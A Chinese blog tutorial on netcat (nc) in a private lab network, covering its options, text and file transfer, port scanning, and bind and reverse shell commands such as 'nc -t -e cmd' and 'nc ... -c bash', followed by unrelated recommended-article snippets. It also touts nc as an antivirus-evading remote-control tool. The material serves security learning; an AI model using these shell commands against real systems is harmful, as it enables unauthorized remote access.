NC瑞士军刀 网络工具

windows下nc(netcat)的安装及使用 打开下载的压缩包,找到nc.exe,复制粘贴到 c盘 users/当前登录用户目录下即可(简单粗暴的方式,也可以自己配置环境变量)我下载下来360会拦截,说是有木马, 我没有理会,下载考出nc.exe后将文件就删了。我是在测试sparkStreaming时候用到。输入 nc -L -p 9999。打开命令界面 cmd。 阅读详情

nc介绍

nc作为网络工具中的瑞士军刀,是学习信息安全必须掌握的工具之一,nc的大小只有几十kb包括Linux版和windows版,但它的作用也是非常之大。

nc作用

  1. 侦听模式 / 传输模式
  2. telnet / 获取banner信息
  3. 传输文本信息
  4. 传输文件/目录
  5. 加密传输文件
  6. 远程控制/木⻢:杀毒软件不会查杀
  7. 加密所有流量
  8. 流媒体服务器
  9. 远程克隆硬盘

工具参数

基本格式:nc [-options] hostname port [ports] …
nc -l -p port [options] [hostname] [port]

-d 后台模式
-e prog 程序重定向,一旦连接,就执行 [危险!!]
-g gateway source-routing hop point, up to 8
-G num source-routing pointer: 4, 8, 12, …
-h 帮助信息
-i secs 延时的间隔
-l 监听模式,用于入站连接
-L 连接关闭后,仍然继续监听
-n 指定数字的IP地址,不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 随机本地及远程端口
-s addr 本地源地址
-t 使用TELNET交互方式
-u UDP模式
-v 详细输出–用两个-v可得到更详细的内容
-w secs timeout的时间
-z 将输入输出关掉–用于扫描时

使用教程

环境:

主机ip
kali192.168.252.128
windows 10192.168.252.130

kali中自带windows 版和Linux版nc
在这里插入图片描述
将nc.exe下载到windos 10放入C:\Windows\System32
使用cmd 使用nc

传输文本信息

建立连接

kali:
nc -lp 99 #使用监听模式监听端口为99
windows 10 :
nc -nv 192.168.252.128 99 #连接kali监听端口
注意这里nc没有加-u参数使用的是tcp连接

此时可以发送文本信息
在这里插入图片描述

nc -ul -p  9999
nc -u 192.168.252.128 9999
面向udp连接

在这里插入图片描述

文件传输

nc -l 9999 < 1.txt
nc 192.168.252.128 > 1.txt

在这里插入图片描述

内存取证

nc -l -p 4444 > quzheng.txt
ls -l | nc -nv 192.168.252.130 4444

在这里插入图片描述

在这里插入图片描述

端口扫描

nc -nvz 192.168.252.130 1-65535  #-z 扫描模式,扫描io  默认tcp端口
nc -nvzu 192.168.252.130 1-1024  #-u udp端口 

在这里插入图片描述

shell连接

正向

Linux连接
  nc -lp 4444 -c bash
  nc 192.168.252.128 4444

在这里插入图片描述
windows 连接

nc -l -p 5555 -t -e cmd.exe
nc -nvv 192.168.252.130 5555

在这里插入图片描述
反向连接

windows 监听:
nc -lp 4444
kali开端口:
nc  192.168.252.130 4444 -c bash

在这里插入图片描述

kali监听
nc -lp 5555
windows 开端口
nc -t -e cmd 192.168.252.128 5555

在这里插入图片描述

瑞士军刀nc.exe(含代码,网络整理,内含多款nc) 本人未对上传工具进行任何二次修改!本软件为工具软件,可能会有部分杀毒软件报毒!可以使用虚拟机断网进行安全测试,如介意请勿下载。请勿进行学习之外的使用,本人不对不当或非法使用此软件负责,网络整理搬侵删! 立即下载

相关推荐

win10下可用的nc.exe工具

亲测win10下可用。

Windows nc命令下载使用与使用bash建立反弹shell

今天继续给大家介绍渗透测试相关知识,本文主要内容是Windows nc命令下载使用与使用bash建立反弹shell。 一、nc命令下载 二、nc命令详解 三、建立bash反弹shell详解

永远是少年 4365

Windows下nc命令工具下载

netcat 1.11 for Win32/Win64, windows nc命令

windows系统下载配置netcat工具(nc命令)

首次被开发者Hobbit发布于1995年10月28日,netcat原始版本是一个类Unix程序,即Unix的派生系统。1、将下载的压缩包解压到C盘下Windows/System32文件夹下面,就可以直接使用(不推荐)输入:nc -l -p 9000(这个端口号可以自定义)2、将下载的压缩包解压到其它盘下,需要配置环境变量。最后在一个窗口发信息,另一个窗口可以收到,测试完成。新建并把解压的文件路径复制到新建的path中。win+R键,输入cmd命令打开黑窗口。要关闭电脑上的杀毒软件,不然会拦截。

m0_53328239的博客 7649

nc端口监听工具瑞士军刀

什么是nc nc是netcat的简写,有着网络界的瑞士军刀美誉。因为它短小精悍、功能实用,被设计为一个简单、可靠的网络工具 nc的作用 (1)实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口 (2)端口的扫描,nc可以作为client发起TCP或UDP连接 (3)机器之间传输文件 (4)机器之间网络测速                                                                                                                                                                                                                         nc的控制参数不少,常用的几个参数如下所列: 1) -l 用于指定nc将处于侦听模式。指定该参数,则意味着nc被当作server,侦听并接受连接,而非向其它地址发起连接。 2) -p 暂未用到(老版本的nc可能需要在端口号前加-p参数,下面测试环境是centos6.6,nc版本是nc-1.84,未用到-p参数) 3) -s  指定发送数据的源IP地址,适用于多网卡机  4) -u  指定nc使用UDP协议,默认为TCP 5) -v 输出交互或出错信息,新手调试时尤为有用 6)-w 超时秒数,后面跟数字  7)-z 表示zero,表示扫描时不发送任何数据       前期准备 准备两台机器,用于测试nc命令的用法 主机A:ip地址 10.0.1.161 主机B:ip地址 10.0.1.162   两台机器先安装nc和nmap的包 yum install nc -y yum install nmap -y 如果提示如下-bash: nc: command not found 表示没安装nc的包 ———————————————— 版权声明:本文为CSDN博主「小毛毛2013」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明。 原文链接:https://blog.csdn.net/u012486730/article/details/82019996

nc.exe 提交工具

nc.exe 提交工具 瑞士军刀 nc.rar

Linux下的nc命令:网络工具的瑞士军刀

nc命令的功能和用法非常广泛,它是网络工具中的一把瑞士军刀,可以满足各种网络任务的需求。深入了解和熟练使用nc命令,将提高您在 Linux 系统中进行网络工作的效率和灵活性。希望本文提供的详细示例代码对您有所帮助,能够更好地利用nc命令进行各种网络操作。

GitHub_miao的博客 824

【STM32F042】使用NTC热敏电阻实现温度测量

1.NTC介绍 NTC是负温度系数的简写,全称是Negative temperature coefficient.意思是随着温度的升高,电阻值呈现下降趋势。常用作温度传感器。这里有一个式子表示负温度系数的电阻值: RT=R0*exp(B (1/T-1/T0)) RT为周围温度为T (K) 时的电阻值,R0是周围温度为T0(K) 时的电阻值,注意这里的温度是开...

BadBoyHolly的博客 3万+

nc用于设置路由器,是网络工具中的瑞士军刀

ncat/nc 既是一个端口扫描工具,也是一款安全工具,还能是一款监测工具,甚至可以做为一个简单的 TCP 代理。

每天都要开心呀(#^.^#) 750

华为海思IC设计岗位笔试全解析:物理、电路与工艺三大方向备考指南

本文全面解析华为海思IC设计岗位笔试的物理、电路与工艺三大方向备考要点。针对物理设计方向,重点讲解半导体能带理论、载流子输运机制等核心考点;电路设计方向涵盖Verilog语法、UVM验证等关键技术;工艺方向则深入探讨FinFET工艺、光刻技术等前沿知识。提供高效备考策略和应试技巧,助力考生提升通过率。

weixin_29196613的博客 1068

低速信号设计之 LPC 篇

摘要:LPC总线作为服务器低速信号设计的关键技术,在BIOS芯片连接、Super I/O芯片控制和嵌入式管理等方面发挥着重要作用。其采用33MHz时钟频率和4位并行传输机制,理论速率达16.5MB/s。设计时需重点关注布线长度(建议<10cm)、信号完整性(45°走线、合理层间隔离)和过孔优化等要点。典型应用案例表明,通过规范设计可确保在工业控制等复杂环境中稳定工作。LPC总线凭借低成本、低引脚数和良好兼容性,仍是服务器低速外设连接的重要解决方案。

qq_16237389的博客 1153

网络工具中的“瑞士军刀”-nc

查看端口是否被占用 还记得我们在netstat中介绍的如何查看端口被占用吗?nc也可以完成这样的事情。它使用-l(listen)参数,用于绑定指定端口并监听连接: $ nc -l 6379 nc: Address already in use 当看到Address already in use的时候,就知道这个端口被占用了,否则它就会在这个端口监听。当然这个作用是我瞎说的,但是可以用。 端口...

zjc156m的专栏 525

《数据结构》04-树4 是否同一棵二叉搜索树

题目 给定一个插入序列就可以唯一确定一棵二叉搜索树。然而,一棵给定的二叉搜索树却可以由多种不同的插入序列得到。例如分别按照序列{2, 1, 3}和{2, 3, 1}插入初始为空的二叉搜索树,都得到一样的结果。于是对于输入的各种插入序列,你需要判断它们是否能生成一样的二叉搜索树。 输入格式: 输入包含若干组测试数据。每组数据的第1行给出两个正整数N (≤10)和L,分别是每个序列插入元素的个数和需要...

叫我皮卡丘 2008

nc 监听数据_网络工具界的“瑞士军刀”-nc(netcat)

网络工具中的“瑞士军刀”了解一下?前言前面介绍过一个不可不知的网络命令-netstat,今天来介绍这个网络工具界的“瑞士军刀”-nc(netcat),它短小精悍,是网络调试利器,它到底有何能耐呢?查看端口是否被占用还记得我们在netstat中介绍的如何查看端口被占用吗?nc也可以完成这样的事情。它使用-l(listen)参数,用于绑定指定端口并监听连接:$ nc -l 6379 nc: Addre...

weixin_31201481的博客 548

【专栏必读】王道考研408计算机网络+湖科大教书匠计算机网络+网络编程万字笔记使用说明及章节导航

本文档汇总了王道考研408计算机网络和湖科大教书匠计算机网络课程的重点内容,包括计算机网络体系结构、物理层、数据链路层、网络层、传输层和应用层的详细讲解。通过ISO/OSI和TCP/IP模型,深入探讨了通信基础、介质访问控制、IP地址、TCP/UDP协议、流量控制和网络编程等关键概念。此外,还提供了Linux网络编程实践,帮助读者巩固理论知识

快乐江湖的博客 2万+

android 9.0Settings休眠时间项(屏幕超时)添加永不休眠功能

在9.0的系统产品开发中,系统中默认息屏时间为1分钟,可以通过在Setting中的息屏时间选项设置对应的息屏时间,但是在开发平板类的产品中,需要实现永不休眠的功能,所以需要在Settings中的息屏时间中添加永不休眠时间这一项来实现这个功能,接下来看息屏时间的相关功能,来添加这个功能

安卓兼职framework和app工程师的博客 2047

Linux命令-nc(用于设置路由器,是网络工具中的瑞士军刀)

nc命令(netcat 的简称)是 Linux 中功能强大的,被称为“网络瑞士军刀”。它可以用于 TCP/UDP 连接、端口扫描、文件传输、网络调试、端口监听等多种网络操作。

RisunJan的博客 1179

YOLO11改进 | 卷积模块 | 轻量化GSConv替换普通的conv

yolo11,GSConv,卷积模块

kay_545 3949

nc(netcat) 命令 网络工具界的“瑞士军刀” 用法

1)查看端口是否被占用 -l (listen) 参数,用于绑定指定端口并监听连接 nc -l 3001 出现上述Address already in use 提示信息 ,表示这个端口被占用 2)端口扫描 扫描某台pc上的3000-4000哪些端口是开放的 -n指明 ip,不使用域名,-z 指定查询的端口号范围 -v输出详细信息, 结果说明3002可连接状态 3)tcp/u...

qq_42308220的博客 354

Vulkan入门系列0- Vulkan与OpenGL的区别

虽然Vulkan和OpenGL都是对GPU的抽象,都能达到相同的功能,但它们的设计理念不同,可以说设计差异是非常之大,由于OpenGL从1992年到现在,已经有30多年的历史,GPU功能日新月异,与当年不可同日而语,在OpenGL保持向下兼容情况下,还要在OpenGL基础上设计一套编程接口显然是不可能的,所以推出了新编程规范Vulkan。另外在一些无窗口的应用中,Vulkan可以有选择的不创建帧缓冲区,比如在数学运算,物理模拟,处理视频流的应用中并不需要窗口,所以Vulkan支持更灵活的应用场景。

GPU全栈博主 4060

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

nc----瑞士军刀

#简介 原文链接:https://culturesun.

qq_43676541的博客 193

VB摄像头监控

该VB模块可对摄像头捕获的画面进行录像等,可在创建的窗口进行控制

nc瑞士军刀与shell基础

nc 是一个Linux环境下常用的工具命令,可以用来帮助开发者查询和解决网路问题,通常被认为是 NetCat 工具的缩写,在网络工具中有“瑞士军刀”的美誉。nc 在Linux环境下常常是自带的,如果你使用的Linux发行版本没有这个工具也可以自行安装,比如在CentOS上的安装命令就是 yum install nc -y,并且这个工具在Windows上也可以直接下载使用,下载页面地址为 netcat,简约而不简单。

XYpangSJ的博客 755

蓝牙模块HM-10手册

蓝牙模块HM-10手册,该手册对蓝牙模块HM-10进行了详细的介绍和使用方法以及一些AT指令。

ET2012新版免狗免安装绿色软件

ET2012新版免狗免安祖昂绿色软件。,新界面,新视觉,

nc命令手册

nc:网络工具中的瑞士军刀功能描述nc是netcat的简写,有着网络界的瑞士军刀美誉。因为它短小精悍、功能实用,被设计为一个简单、可靠的网络工具。命令语法nc[选项][主机名][端口...

关注微信公众号【开源Linux】,后台回复『10T』,领取10T学习资源大放送,涵盖Linux、虚拟化、容器、云计算、网络、Python、Go等书籍和视频 392

Linux命令之nc命令

nc是netcat的简写,是一个功能强大的网络工具,有着网络界的瑞士军刀美誉。nc命令在linux系统中实际命令是ncat,nc是到ncat。nc命令的主要作用如下:实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口端口的扫描,nc可以作为client发起TCP或UDP连接机器之间传输文件机器之间网络测速nc如果找不到nc命令可以使用yum install -y nc安装。

qq_45443475的博客 5511

linux命令之 nc 使用笔记

探测目标主机端口开放情况: $ nc -zvn -w 5 10.25.3.26 8086 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Connected to 10.25.3.26:8086. Ncat: 0 bytes sent, 0 bytes received in 0.15 seconds. $ date;nc -zvn -w...

开心就好的专栏 7417
上一篇: CVE-2020-0796(永恒之黑)复现,影响版本windws10,windos server2016
下一篇: shodan(黑暗谷歌)信息收集
0x717866
博客等级 码龄9年 1万+粉丝 87原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

0x717866

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值